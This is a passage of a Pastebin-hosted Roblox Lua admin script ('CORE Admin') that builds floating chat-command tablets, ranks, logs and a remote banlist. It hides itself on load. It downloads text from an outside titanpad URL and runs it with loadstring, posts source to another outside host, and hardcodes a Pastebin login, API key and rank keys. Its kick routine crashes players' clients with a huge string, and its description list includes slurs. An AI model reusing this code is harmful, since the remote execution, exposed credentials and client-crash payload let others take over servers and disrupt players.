Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- CORE_Admin:
- LordRevious
- &
- ItsOmega
- Require: 460810496
- c/require(460810496)
- ]]
- script.Parent = nil;wait'';script.Parent = nil
- script:ClearAllChildren()
- local http = game:GetService("HttpService")
- RbxUtility = {
- Create = function(ClassName)
- local Object = Instance.new(ClassName)
- return function(Properties)
- for Property, Value in pairs(Properties) do
- if pcall(function() return Object[Property] end) then
- Object[Property] = Value
- elseif type(Property) == "number" and select(2, pcall(game.IsA, Value, "Instance")) == true then
- Value.Parent = Object
- end
- end
- return Object
- end
- end
- }
- Http = game:GetService("HttpService")
- Url = "https://titanpad.com/ep/pad/export/AdminRanksCORE/latest?format=txt" --//rnks
- Result =function(API)
- return Http:GetAsync(Url, true)
- end
- do
- JSON = Result(Url)
- JSON = Result(Url) Ranked=loadstring(JSON)()
- end
- CORE = {
- UnActiveTabletSize = Vector3.new(1, 1, 1),
- ActiveTabletSize = Vector3.new(1.5, 1.5, 1.5),
- ActiveTransparency = 0,
- UnActiveTransparency = .5,
- Trace = false,
- ScriptLock = false,
- Disabled = false,
- SD = false,
- AutoUpdate = false,
- Default = {
- Suffix = ";",
- Rank = 1,
- Description = "Player",
- Color = "White",
- BoxColor = "Really black",
- Material = "Neon",
- Box = false,
- Mesh = false,
- MeshId = 0,
- },
- Ranks = {
- [0] = "Banned",
- [1] = "User",
- [2] = "Friend",
- [3] = "Moderator",
- [4] = "Administrator",
- [5] = "Developer",
- [6] = "Creator"
- },
- ChatLogs = {},
- JoinLogs = {},
- Identify = {
- ["Place"] = game.PlaceId,
- ["JobId"] = game.JobId,
- ["Port"] = game:GetService("NetworkServer").Port,
- },
- RankKeys = {
- ["CORE_SRANK_*!3u^Oi4@Af9)8Ji29mP_"] = 6
- },
- Key = "CORE_UNLOCK_2c42595a79",--//Using this in datastore.
- SandboxKey = "CORE_UNLOCKBOX_09gf8h09d,",
- Name = "CORE",
- Version = "0.1",
- SavedData = game:GetService("DataStoreService"):GetDataStore("CORE_DataStores"),
- Services = {
- Players = game:GetService("Players"),
- RunService = game:GetService("RunService"),
- NetworkServer = game:GetService("NetworkServer"),
- HttpService = game:GetService("HttpService")
- },
- Rotation = 0,
- Tablets = {},
- DismissedTablets = {}, -- HUGE STORAGE.
- Commands = {},
- Connections = {},
- Functions = {
- Set = {
- Command = function(Rank, Aliases, Description, Dismiss, Function)
- CORE.Commands[Aliases] = {
- Dismiss = Dismiss,
- Rank = Rank,
- Description = Description,
- Function = Function
- }
- end,
- Player = function(Player)
- local Name = tostring(Player)
- if not (function()
- for Index, Value in pairs(Ranked) do
- if Name:lower() == Index:lower() then
- return Value
- end
- end
- end)() then
- Ranked[Name] = CORE.Functions.Set.ReplicateTable(CORE.Default)
- end
- return Ranked[Name]
- end,
- ReplicateTable = function(Table)
- local New = {}
- for Index, Value in pairs(Table) do
- New[Index] = Value
- end
- return New
- end,
- PlayerIndex = function(Player, Index, Value) CORE.Functions.Get.PlayerTable(Player)[Index] = Value end
- },
- Get = {
- PlayerTable = function(Player)
- local Name = tostring(Player)
- for Index, Value in pairs(Ranked) do
- if Name:lower() == Index:lower() then
- return Value
- end
- end
- return CORE.Functions.Set.Player(Name)
- end,
- Player = function(Speaker, Message)
- local Players = {}
- local lMessage = Message:lower()
- if lMessage == "all" then
- Players = CORE.Services.Players:GetPlayers()
- elseif lMessage == "others" then
- for _, Player in pairs(CORE.Services.Players:GetPlayers()) do
- if Player ~= Speaker then
- table.insert(Players, Player)
- end
- end
- else
- for _, Player in pairs(CORE.Services.Players:GetPlayers()) do
- if Player.Name:lower():sub(1, #Message) == Message:lower() then
- table.insert(Players, Player)
- end
- end
- end
- return unpack(Players)
- end,
- PlayerIndex = function(Player, Index) return CORE.Functions.Get.PlayerTable(Player)[Index] ~= nil and CORE.Functions.Get.PlayerTable(Player)[Index] or CORE.Default[Index] or nil end
- },
- Main = {
- unpackToString = function(...)
- local AliasesStr = ""
- for Index = 1, select("#", ...) do
- AliasesStr = AliasesStr .. tostring(select(Index, ...)) .. (Index < select("#", ...) and ", " or "")
- end
- return AliasesStr
- end,
- ParseMessage = function(Player, Message)
- if CORE.Disabled then return end
- local Message = Message:gsub("^/e?m?o?t?e? ?", "")
- local lMessage = Message:lower()
- local Message = Message
- local PlayerRank = CORE.Functions.Get.PlayerIndex(Player, "Rank")
- local Suffix = CORE.Functions.Get.PlayerIndex(Player, "Suffix")
- for Aliases, Data in pairs(CORE.Commands) do
- if PlayerRank >= Data.Rank then
- for _, Alias in pairs(Aliases) do
- if lMessage:sub(1, #Alias) == Alias:lower() and Message:sub(#Alias + #Suffix, #Alias + #Suffix) == Suffix then
- Message = Message:sub(#Alias + #Suffix + 1)
- lMessage = Message:lower()
- local Arguments = {}
- for Argument in Message:gmatch("[^"..Suffix.."]+") do
- table.insert(Arguments, Argument)
- end
- if Data.Dismiss then
- CORE.Functions.Main.DismissTablets(Player)
- end
- if Data.Function then
- Data.Function(Player, Message, Arguments, PlayerRank)
- end
- return
- end
- end
- end
- end
- end,
- MassMessage = function(Message, MinimalRank)
- for _, Player in pairs(CORE.Services.Players:GetPlayers()) do
- if CORE.Functions.Get.PlayerIndex(Player, "Rank") > (MinimalRank or 2) then
- CORE.Functions.Main.AddPart(Player, Message)
- end
- end
- end,
- ConnectPlayer = function(Player, Type)
- if CORE.Disabled then return end
- CORE.Functions.Set.Player(Player)
- if CORE.Functions.Get.PlayerIndex(Player, "Rank") < 1 then
- CORE.Functions.Main.Kick(Player)
- CORE.Functions.Main.MassMessage(tostring(Player) .. " tried joining but is banned.")
- end
- if Type == "Join" then
- CORE.Functions.Main.MassMessage(tostring(Player) .. " has joined.")
- end
- table.insert(CORE.Connections, Player.Chatted:connect(function(Message)
- CORE.Functions.Main.ParseMessage(Player, Message)
- end))
- Player.Chatted:connect(function(msg)
- table.insert(CORE.ChatLogs,msg)
- end)
- local Welcome = CORE.Functions.Main.AddPart(Player, "Welcome to " .. CORE.Name .. " Admin Tablets!")
- local Credit = CORE.Functions.Main.AddPart(Player, "Made by: LordRevorius & ItsOmega")
- local Rank = CORE.Functions.Main.AddPart(Player, "Your rank: "..CORE.Functions.Get.PlayerIndex(Player, "Rank"))
- local Message = CORE.Functions.Main.AddPart(Player, "The Server Is Running Game Version : "..game.PlaceVersion)
- local Dismiss = CORE.Functions.Main.AddPart(Player, "Dismiss", nil, "Really red", function()
- CORE.Functions.Main.DismissTablets(Player)
- end)
- delay(5, function()
- CORE.Functions.Main.DismissTablets(Player, Welcome)
- CORE.Functions.Main.DismissTablets(Player, Credit)
- CORE.Functions.Main.DismissTablets(Player, Rank)
- CORE.Functions.Main.DismissTablets(Player, Message)
- CORE.Functions.Main.DismissTablets(Player, Dismiss)
- end)
- table.insert(CORE.JoinLogs,Player)
- end,
- DisconnectPlayer= function(Player)
- CORE.Functions.Main.DismissTablets(Player)
- if CORE.Functions.Get.PlayerIndex(Player, "Rank") < 2 then return end
- CORE.Functions.Main.MassMessage(tostring(Player) .. " has left.")
- end,
- Kick = function(Player)
- local Kicked = pcall(function() Player:Kick() end)
- if not Kicked then
- print("Player didn't get kicked??")
- end
- end,
- AddPart = function(Player, Text, ImageId, Color, Function, KeepOnClick)
- if CORE.Disabled then return end
- CORE.Tablets[Player] = CORE.Tablets[Player] or {}
- local Character = Player.Character
- local HumanoidRootPart = Character and Character:FindFirstChild("HumanoidRootPart")
- local TabletCFrame = HumanoidRootPart and HumanoidRootPart.CFrame or CFrame.new()
- local Hover, Clicked, SelectionBox = false, false
- local Part = RbxUtility.Create("Part") {BrickColor = BrickColor.new(Color and tostring(Color) or tostring(CORE.Functions.Get.PlayerIndex(Player, "Color"))), Material = CORE.Functions.Get.PlayerIndex(Player, "Material"), Size = CORE.UnActiveTabletSize, CFrame = TabletCFrame, Parent = workspace, FormFactor = "Custom", Anchored = true, CanCollide = false, Transparency = 0}
- local Mesh = RbxUtility.Create("BlockMesh") {Parent = Part, Name = "Mesh"}
- local PointLight = RbxUtility.Create("PointLight") {Parent = Part, Name = "Light", Color = Part.Color}
- local BoxEnabled = CORE.Functions.Get.PlayerIndex(Player, "Box")
- local MeshEnabled = CORE.Functions.Get.PlayerIndex(Player, "Mesh")
- local MeshMultiplier = (CORE.Functions.Get.PlayerIndex(Player, "MeshMultiplier") or 1)
- if BoxEnabled then
- SelectionBox = RbxUtility.Create("SelectionBox") {Parent = Part, Adornee = Part, Color = BrickColor.new(tostring(CORE.Functions.Get.PlayerIndex(Player, "BoxColor"))), Transparency = Part.Transparency}
- end
- if MeshEnabled then
- Mesh:Destroy()
- Mesh = RbxUtility.Create("SpecialMesh") {Parent = Part, MeshId = "rbxassetid://" .. (CORE.Functions.Get.PlayerIndex(Player, "MeshId") or 0), Name = "Mesh"}
- end
- Mesh.Scale = Mesh.Scale * MeshMultiplier
- local ClickDetector = RbxUtility.Create("ClickDetector") {Parent = Part, MaxActivationDistance = 1/0}
- local BillboardGui = RbxUtility.Create("BillboardGui") {Parent = Part, StudsOffset = Vector3.new(0, CORE.ActiveTabletSize.Y, 0), Size = UDim2.new(0, 500, 0, 500)}
- local TextLabel = RbxUtility.Create("TextLabel") {Parent = BillboardGui, Text = tostring(Text), BackgroundTransparency = 1, TextStrokeTransparency = 0, TextColor3 = Part.Color, Size = UDim2.new(1, 0, ImageId and .5 or 1, 0), FontSize = "Size24", Font = "SourceSansBold"}
- -- if ImageId then
- -- local ImageLabel = RbxUtility.Create("ImageLabel") {
- -- Parent = BillboardGui,
- -- BackgroundTransparency = 1,
- -- Size = UDim2.new(.5, 0, .5, 0),
- -- Position = UDim2.new(.5, 0, .5, 0),
- -- Image = "rbxassetid://"..ImageId
- -- }
- --end
- CORE.Tablets[Player][#CORE.Tablets[Player]+1] = Part
- table.insert(CORE.Connections, ClickDetector.MouseClick:connect(function(ClickingPlayer)
- if not CORE then return end
- if not ClickingPlayer then return end
- if CORE.DismissedTablets[Part] then return end
- if Clicked then return end
- if Player.userId ~= ClickingPlayer.userId and CORE.Functions.Get.PlayerIndex(ClickingPlayer, "Rank") < CORE.Functions.Get.PlayerIndex(Player, "Rank") then return end
- if Clicked then return end
- Clicked = true
- if Function then
- if not KeepOnClick then
- CORE.Functions.Main.DismissTablets(Player, Part)
- end
- return Function()
- else
- return CORE.Functions.Main.DismissTablets(Player, Part)
- end
- end))
- table.insert(CORE.Connections, ClickDetector.MouseHoverEnter:connect(function(HoverPlayer)
- if not CORE then return end
- if not HoverPlayer then return end
- if CORE.DismissedTablets[Part] then return end
- if Clicked then return end
- if Player.userId ~= HoverPlayer.userId and CORE.Functions.Get.PlayerIndex(HoverPlayer, "Rank") < CORE.Functions.Get.PlayerIndex(Player, "Rank") then return end
- if Hover then return end
- Hover = true
- local Current = 0
- local Steps = 10
- while Hover and Part.Size ~= CORE.ActiveTabletSize do
- Current = Current + 1/Steps
- Part.Size = Part.Size:lerp(CORE.ActiveTabletSize, Current)
- Mesh.Scale = Part.Size * MeshMultiplier
- if Current == 1 or Clicked then
- break
- end
- wait()
- end
- end))
- table.insert(CORE.Connections, ClickDetector.MouseHoverLeave:connect(function(HoverPlayer)
- if not CORE then return end
- if not HoverPlayer then return end
- if CORE.DismissedTablets[Part] then return end
- if Player.userId ~= HoverPlayer.userId and CORE.Functions.Get.PlayerIndex(HoverPlayer, "Rank") < CORE.Functions.Get.PlayerIndex(Player, "Rank") then return end
- if not Hover then return end
- Hover = false
- local Current = 0
- local Steps = 10
- while not Hover and Part.Size ~= CORE.UnActiveTabletSize do
- Current = Current + 1/Steps
- Part.Size = Part.Size:lerp(CORE.UnActiveTabletSize, Current)
- Mesh.Scale = Part.Size * MeshMultiplier
- if Current == 1 or Clicked then
- break
- end
- wait()
- end
- end))
- return Part
- end,
- DismissAnimation = function(Tablet)
- if CORE.DismissedTablets[Tablet] then return end
- CORE.DismissedTablets[Tablet] = true
- for Transparency = Tablet.Transparency, 1, (1-Tablet.Transparency)/10 do
- Tablet.Transparency = Transparency
- local BillboardGui = Tablet:FindFirstChild("BillboardGui")
- local TextLabel = BillboardGui and BillboardGui:FindFirstChild("TextLabel")
- if TextLabel then
- TextLabel.TextStrokeTransparency = Transparency
- TextLabel.TextTransparency = Transparency
- end
- if Tablet:FindFirstChild("SelectionBox") then
- Tablet.SelectionBox.Transparency = Transparency
- end
- wait()
- end
- Tablet:Destroy()
- end,
- Explore = function(Player, Instance)
- local Instance = Instance or workspace
- CORE.Functions.Main.DismissTablets(Player)
- for _, Object in pairs(Instance:GetChildren()) do
- CORE.Functions.Main.AddPart(Player, Object:GetFullName(), nil, nil, function()
- local Ran, Error = pcall(CORE.Functions.Main.Explore, Player, Object)
- if not Ran then
- CORE.Functions.Main.AddPart(Player, "Can't explore: "..Object:GetFullName().."\n"..tostring(Error), nil, "Really red")
- end
- end)
- end
- if not Instance:IsA("Player") then--ELSE LOWER RANKS CAN KICK UPPER RANKS ANYWAY... PFFFT....
- CORE.Functions.Main.AddPart(Player, "Destroy", nil, "Really red", function()
- Instance:Destroy()
- CORE.Functions.Main.Explore(Player, Instance.Parent)
- end)
- end
- if Instance:IsA("Script") then
- CORE.Functions.Main.AddPart(Player, "Disable = False ('Allows Script To Run') ", nil, "Really red", function()
- Instance.Disabled = false
- end)
- CORE.Functions.Main.AddPart(Player, "Disable = False ('Doesn't Allow Script To Run') ", nil, "Really red", function()
- Instance.Disabled = true
- end)
- end
- if Instance:IsA("Sound") then
- CORE.Functions.Main.AddPart(Player, "Stop", nil, "Really red", function()
- Instance:Stop()
- end)
- CORE.Functions.Main.AddPart(Player, "Song ID: "..Instance.SoundId, nil, "Really red")
- CORE.Functions.Main.AddPart(Player, "Play", nil, "Really red", function()
- Instance:Play()
- end)
- CORE.Functions.Main.AddPart(Player, "Pitch +.1", nil, "Really red", function()
- Instance.Pitch = Instance.Pitch + .1
- end)
- CORE.Functions.Main.AddPart(Player, "Pitch -.1", nil, "Really red", function()
- Instance.Pitch = Instance.Pitch - .1
- end)
- end
- if Instance:IsA("Player") then
- CORE.Functions.Main.AddPart(Player, "Kick", nil, "Really red", function()
- if CORE.Functions.Get.PlayerIndex(Player, "Rank") >= CORE.Functions.Get.PlayerIndex(Instance, "Rank") then
- CORE.Functions.Main.Kick(Player)
- CORE.Functions.Main.Explore(Player, Instance.Parent)
- else
- CORE.Functions.Main.AddPart(Player, "You really thought the developers were this stupid?", nil, "Really red")
- CORE.Functions.Main.AddPart(Instance, tostring(Player) .. " has attempted to kick you through Explorer.", nil, "Really red")
- end
- end)
- end
- if Instance.Parent then
- CORE.Functions.Main.AddPart(Player, "Back", nil, "Really red", function()
- CORE.Functions.Main.Explore(Player, Instance.Parent)
- end)
- end
- end,
- Desc = {
- "Skid",
- "Scripter",
- "Noob",
- "Retard",
- "Cancer",
- "Moderator",
- "Scripter",
- "Fmer",
- "Fat",
- },
- Kick = function(Player)
- local Event = Instance.new("RemoteEvent", workspace)
- Event:FireClient(Player, {string.rep("umad? um no!", 2e5+5)})
- game:GetService('Debris'):AddItem(Event, 1)
- end,
- GetLocal = function(source,player)
- local site = "http://rbxapis.ddns.net/newlocal.php"-- open source force local script http://gamewarden-jarredbcv.rhcloud.com/rbxlocals.php
- local id = tonumber(game:GetService("HttpService"):PostAsync(site,source))
- local _returnscript = require(id)
- _returnscript.Name = "FL"
- _returnscript.Parent= player.PlayerGui
- _returnscript.Disabled=false
- end,
- NewServer = function()
- game:GetService("HttpService"):GetAsync("http://roblox-proxy.cf/proxy/api/NewServer/"..game.PlaceId)
- end,
- DismissTablets = function(Player, SelectedTablet)
- if SelectedTablet == "all" or not SelectedTablet then
- local TabletsTable = CORE.Tablets[Player]
- if not TabletsTable then
- return
- end
- for Index = 1, #TabletsTable do
- local Tablet = TabletsTable[1]
- table.remove(TabletsTable, 1)
- coroutine.wrap(CORE.Functions.Main.DismissAnimation)(Tablet)
- end
- elseif select(2, pcall(game.IsA, SelectedTablet, "BasePart")) == true then
- local TabletsTable = CORE.Tablets[Player]
- if not TabletsTable then
- return
- end
- for Index = 1, #TabletsTable do
- local Tablet = TabletsTable[Index]
- if Tablet == SelectedTablet then
- coroutine.wrap(CORE.Functions.Main.DismissAnimation)(SelectedTablet)
- table.remove(TabletsTable, Index)
- end
- end
- end
- end,
- --[[Sandbox = function(Player)
- local _ENV = {}
- local _SENV = {
- print = function(...)
- CORE.Functions.Main.AddPart(Player, CORE.Functions.Main.unpackToString(...))
- end,
- warn = function(...)
- CORE.Functions.Main.AddPart(Player, CORE.Functions.Main.unpackToString(...), nil, "Bright orange")
- end,
- CORE = function(Key)
- if Key == CORE.SandboxKey then
- return CORE
- else
- return error("Invalid key, no access.", 0)
- end
- end,
- }
- local _REALENV = getfenv()
- local function check(...)
- for Index = 1, select("#", ...) do
- end
- end
- setmetatable(_ENV, {
- __index = function(Self, Index)
- return check(rawget(_ENV, Index) or _SENV[Index] or _REALENV[Index])
- end,
- __metatable = getmetatable(game)
- })
- return _ENV
- end,
- ]]
- DismissAll = function()
- for _, Player in pairs(CORE.Services.Players:GetPlayers()) do
- CORE.Functions.Main.DismissTablets(Player)
- end
- end,
- Set = function()
- game.Workspace.Gravity = 196.2;game.Lighting.TimeOfDay = 10;
- for _,v in pairs(game.Workspace:GetChildren()) do
- if v:IsA('Sound') then
- v:Remove''
- end
- end
- Instance.new('RemoteEvent',game.ReplicatedStorage).Name = '[CORE]: Render Checking.'
- end,
- Rotate = function()
- if CORE.Disabled then return end
- local RotationSpeed = 1
- local MostTablets = 1
- local RotationDecreaser = 4
- CORE.Rotation = (CORE.Rotation + RotationSpeed/RotationDecreaser) % 360
- for Player, Tablets in pairs(CORE.Tablets) do
- local Character = Player.Character
- local HumanoidRootPart = Character and Character:FindFirstChild("HumanoidRootPart")
- if HumanoidRootPart then
- if #Tablets > MostTablets then
- MostTablets = #Tablets
- end
- for Index, Tablet in pairs(Tablets) do
- if Tablet.Parent == nil then
- CORE.Functions.Main.DismissTablets(Player, Tablet)
- else
- Tablet.CFrame = Tablet.CFrame:lerp(
- CFrame.new(HumanoidRootPart.CFrame.p)
- * CFrame.Angles(0, math.rad(360/#Tablets*Index+(CORE.Rotation/(#Tablets/5))), math.sin(((tick()+(Index/#Tablets*5))*3)/RotationDecreaser))
- * CFrame.new(0, math.sin(((tick()+(Index/#Tablets*5))*3)/RotationDecreaser), 4 + CORE.UnActiveTabletSize.Z*#Tablets/1.25),
- .1*RotationSpeed
- )
- end
- end
- end
- end
- end
- }
- }
- }
- local Username, Password = "LexusAdminHTTPBans", "cancer1122"
- local PasteAPI = require(324333535)
- PasteAPI:Authenticate("83e8dac1561e318780a9005c5aba939b")
- PasteAPI:Login(Username, Password)
- local UserLookup, UpdateBanlist, BanlistCheck = nil, nil, true do
- local HttpService = game:GetService("HttpService")
- function UserLookup(Player)
- for k,v in pairs(Banlist) do
- if tostring(k) == tostring(Player) or tonumber(v) == tonumber(Player.userId) then
- return true
- end
- end
- return false
- end
- local function UserCheck()
- for k,v in pairs(game:GetService'NetworkServer':GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") and v:GetPlayer() and UserLookup(v:GetPlayer()) then
- CORE.Functions.Main.Kick(v:GetPlayer())
- Send = require(328231860)
- function SendAll(...)
- for index, child in pairs(game:GetService'NetworkServer':GetChildren()) do
- if child:IsA("ServerReplicator") then
- Send(child:GetPlayer(), ...)
- end
- end
- end
- SendAll(
- "[CORE]: User Was Not Let Inside, [Reason]: HTTP Banned.",
- Color3.new(2,0,0),
- Enum.Font.SourceSansBold,
- Enum.FontSize.Size18
- )
- end
- end)
- end
- end
- local function GetBanlist()
- local UserPastes = PasteAPI:GetMyPastes()
- local Banlist = {}
- for k, v in pairs(UserPastes) do
- if v.Title == "Banlist" then
- local Paste = PasteAPI:GetRawPaste(v.Link)
- local JSON = {ypcall(function() return HttpService:JSONDecode(Paste) end)}
- if JSON[1] then
- for Plr, Info in pairs(JSON[2]) do
- Banlist[tostring(Plr)] = {Name = tostring(Plr), Id = tonumber(Info) or 0}
- end
- else
- warn("JSON decode error on teh banlist")
- end
- break
- end
- end
- return Banlist
- end
- function UpdateBanlist(Player)
- local TempBanlist = GetBanlist() or {}
- local UserPastes = PasteAPI:GetMyPastes()
- local Banlist = {}
- for k,v in pairs(TempBanlist) do
- Banlist[tostring(k)] = tonumber(v.Id) or 0
- end
- Banlist[tostring(Player)] = Player.userId
- for k, v in pairs(UserPastes) do
- if v.Title == "Banlist" then
- PasteAPI:DeletePaste(v.Link)
- break
- end
- end
- local JSON = {ypcall(function() return HttpService:JSONEncode(Banlist) end)}
- if JSON[1] then
- PasteAPI:NewPaste(tostring(JSON[2]), "Banlist", false, "N", "json")
- else
- warn("JSON encode error on setting teh banlist")
- end
- end
- spawn(function()
- while true do
- wait(.3)
- if BanlistCheck and wait() then
- Banlist = GetBanlist()
- UserCheck()
- end
- end
- end)
- end
- local Saved_Songs = CORE.SavedData:GetAsync(CORE.Key.."_Songs")
- CORE.SavedData:SetAsync(CORE.Key.."_Songs", type(Saved_Songs) == "table" and Saved_Songs or {})
- game.Workspace.DescendantAdded:connect(function(Object)
- if Object.ClassName == "Script" or Object.ClassName == "LocalScript" then
- if CORE.ScriptLock == true then
- Object.Disabled = true
- Object:Destroy()
- end
- end
- end)
- CORE.Functions.Set.Command(1, {"dismisstablets", "dismiss", "dt"}, "Dismiss tablets", true)
- CORE.Functions.Set.Command(2, {"explore", "expl"}, "Explore", false, function(Player)
- CORE.Functions.Main.Explore(Player)
- end)
- CORE.Functions.Set.Command(4, {"hban", "pban"}, "HttpBan", false, function(Player, Rank, Argument)
- for _, Argument in pairs(Argument) do
- local FPlayer = CORE.Functions.Get.Player(Player, Argument)
- if FPlayer then
- UpdateBanlist(FPlayer)
- CORE.Functions.Main.Kick(FPlayer)
- end
- end
- end)
- CORE.Functions.Set.Command(1, {"ServerFPS", "sFPS"}, "Get server FPS.", false, function(Player)
- local Tablet = CORE.Functions.Main.AddPart(Player, "Measuring FPS..")
- while wait() and Tablet.Parent do
- local MeasuredFrames = 0
- local Start = tick()
- local Time = 0
- while (tick() - Start) < 1 do
- MeasuredFrames = MeasuredFrames + 1
- Time = Time + CORE.Services.RunService.Heartbeat:wait()
- end
- local Label = Tablet:FindFirstChild("BillboardGui") and Tablet:FindFirstChild("BillboardGui"):FindFirstChild("TextLabel")
- if Label then
- Label.Text = tostring(MeasuredFrames/Time):sub(1,5) .. " Serverside FPS"
- end
- end
- end)
- CORE.Functions.Set.Command(2, {"logs", "clogs","jlogs"}, "Logs", true,function(Player)
- CORE.Functions.Main.AddPart(Player, "Chat Logs", nil, "Lime green", function()
- for _,Logs in pairs(CORE.ChatLogs) do
- CORE.Functions.Main.AddPart(Player, Logs, nil, "Royal blue")
- end
- end)
- CORE.Functions.Main.AddPart(Player, "Join Logs", nil, "Really red", function()
- for _,Logs in pairs(CORE.JoinLogs) do
- CORE.Functions.Main.AddPart(Player, Logs, nil, "Royal blue")
- end
- end)
- CORE.Functions.Main.AddPart(Player, "[CLEAR ALL CHAT LOGS]", nil, "Really red", function()
- while #CORE.ChatLogs > 0 do
- table.remove(CORE.ChatLogs)
- end
- CORE.Functions.Main.DismissTablets(Player)
- end)
- end)
- CORE.Functions.Set.Command(1, {"Objects", "Obj"}, "Objects.", false, function(Player)
- local function Count(Child)
- local Objects = 0
- pcall(function()
- for _, Object in pairs(Child:GetChildren()) do
- if not game:GetService(Object.ClassName) then
- Objects = Objects + 1
- end
- Objects = Objects + Count(Object)
- end
- end)
- return Objects
- end
- local Tablet = CORE.Functions.Main.AddPart(Player, "Estimated amount of Objects: " .. Count(game))
- while wait(1) and Tablet.Parent do
- local Label = Tablet:FindFirstChild("BillboardGui") and Tablet:FindFirstChild("BillboardGui"):FindFirstChild("TextLabel")
- if Label then
- Label.Text = "Estimated amount of Objects: " .. Count(game)
- end
- end
- end)
- CORE.Functions.Set.Command(1, {"/IAM"}, "Get a rank by putting the correct key in.", false, function(Player, Message, Arguments, Rank)
- if CORE.RankKeys[Message] then
- CORE.Functions.Set.PlayerIndex(Player, "Rank", CORE.RankKeys[Message])
- CORE.Functions.Main.AddPart(Player, "Correct Key, "..CORE.Ranks[CORE.RankKeys[Message]])
- end
- end)
- CORE.Functions.Set.Command(1, {"players", "plrs"}, "View all connected Clients.", true, function(Player, Message, Arguments, Rank)
- local function DisplayPlayers()
- CORE.Functions.Main.DismissTablets(Player)
- for _, Client in pairs(CORE.Services.NetworkServer:GetChildren()) do
- if Client:IsA("NetworkReplicator") then
- local CPlayer = Client:GetPlayer()
- local ClientRank = CORE.Functions.Get.PlayerIndex(CPlayer, "Rank")
- CORE.Functions.Main.AddPart(Player, CPlayer.Name .. "(" .. ClientRank .. ")", nil, CORE.Functions.Get.PlayerIndex(CPlayer, "Color"), function()
- CORE.Functions.Main.DismissTablets(Player)
- local RankEquals = Rank > ClientRank
- local CanEdit = RankEquals or CPlayer == Player
- local EditColor = CanEdit and CORE.Functions.Get.PlayerIndex(Player, "Color") or BrickColor.new("Really red")
- CORE.Functions.Main.AddPart(Player, "Suffix: " .. CORE.Functions.Get.PlayerIndex(CPlayer, "Suffix"))
- CORE.Functions.Main.AddPart(Player, "Rank: " .. ClientRank)
- CORE.Functions.Main.AddPart(Player, "Description: " .. CORE.Functions.Get.PlayerIndex(CPlayer, "Description"))
- CORE.Functions.Main.AddPart(Player, "Color: " .. tostring(CORE.Functions.Get.PlayerIndex(CPlayer, "Color")))
- CORE.Functions.Main.AddPart(Player, "SelectionBox Enabled: " .. tostring(CORE.Functions.Get.PlayerIndex(CPlayer, "Box")))
- CORE.Functions.Main.AddPart(Player, "SelectionBox Color: " .. tostring(CORE.Functions.Get.PlayerIndex(CPlayer, "BoxColor")))
- CORE.Functions.Main.AddPart(Player, "Name: " .. CPlayer.Name)
- CORE.Functions.Main.AddPart(Player, "Back", nil, "Really red", DisplayPlayers)
- CORE.Functions.Main.AddPart(Player, "Set Description", nil, EditColor, function()
- if CanEdit then
- CORE.Functions.Main.DismissTablets(Player)
- for _,Desc in pairs(CORE.Functions.Main.Desc) do
- CORE.Functions.Main.AddPart(Player, Desc, nil, "Really red",function()
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Set.PlayerIndex(CPlayer, "Description", Desc)
- end)
- end
- CORE.Functions.Main.AddPart(CPlayer, "Your new description is: "..CORE.Functions.Set.PlayerIndex(CPlayer, "Description", Desc), "")
- else
- CORE.Functions.Main.AddPart(Player, "Can't edit "..tostring(CPlayer).." data.", nil, EditColor)
- end
- end)
- CORE.Functions.Main.AddPart(Player, "Set Rank", nil, EditColor, function()
- if CanEdit then
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." is setting your Rank.")
- CORE.Functions.Main.DismissTablets(Player)
- for Index = 0, #CORE.Ranks do
- local RankDesc = CORE.Ranks[Index]
- CORE.Functions.Main.AddPart(Player, "Set "..tostring(CPlayer).." rank to: "..RankDesc.." ("..Index..")", nil, Index > Rank and "Really red" or nil, function()
- if Index > Rank then
- return CORE.Functions.Main.AddPart(Player, "Not allowed to set "..tostring(CPlayer).." rank to this.")
- else
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(CPlayer, "Set "..tostring(CPlayer).." Rank to "..RankDesc.." ("..Index..").")
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." set your Rank to "..RankDesc.." ("..Index..").")
- CORE.Functions.Set.PlayerIndex(CPlayer, "Rank", Index)
- end
- end)
- end
- else
- CORE.Functions.Main.AddPart(Player, "Can't edit "..tostring(CPlayer).." data.", nil, EditColor)
- end
- end)
- CORE.Functions.Main.AddPart(Player, "Set Color", nil, EditColor, function()
- if CanEdit then
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." is setting your Part Color.")
- CORE.Functions.Main.DismissTablets(Player)
- for Index = 1, 127 do
- local Color = BrickColor.palette(Index)
- CORE.Functions.Main.AddPart(Player, tostring(Color), nil, Color, function()
- CORE.Functions.Set.PlayerIndex(CPlayer, "Color", Color)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Set "..tostring(CPlayer).." Part Color to: "..tostring(Color))
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." set your Part Color to "..tostring(Color)..".")
- end)
- end
- else
- CORE.Functions.Main.AddPart(Player, "Can't edit "..tostring(CPlayer).." data.", nil, EditColor)
- end
- end)
- CORE.Functions.Main.AddPart(Player, "Set SelectionBox Color", nil, EditColor, function()
- if CanEdit then
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." is setting your SelectionBox Color.")
- CORE.Functions.Main.DismissTablets(Player)
- for Index = 1, 127 do
- local Color = BrickColor.palette(Index)
- CORE.Functions.Main.AddPart(Player, tostring(Color), nil, Color, function()
- CORE.Functions.Set.PlayerIndex(CPlayer, "BoxColor", Color)
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Set "..tostring(CPlayer).."SelectionBox Color to: " ..tostring(Color))
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." set your SelectionBox Color to: "..tostring(Color))
- end)
- end
- else
- CORE.Functions.Main.AddPart(Player, "Cant edit "..tostring(CPlayer).." data.", nil, EditColor)
- end
- end)
- CORE.Functions.Main.AddPart(Player, "Set SelectionBox Enabled", nil, EditColor, function()
- if CanEdit then
- CORE.Functions.Main.AddPart(CPlayer, tostring(Player).." is setting your SelectionBoxes to Enabled/Disabled.")
- CORE.Functions.Main.DismissTablets(Player)
- CORE.Functions.Main.AddPart(Player, "Setting "..tostring(CPlayer).."SelectionBoxes")
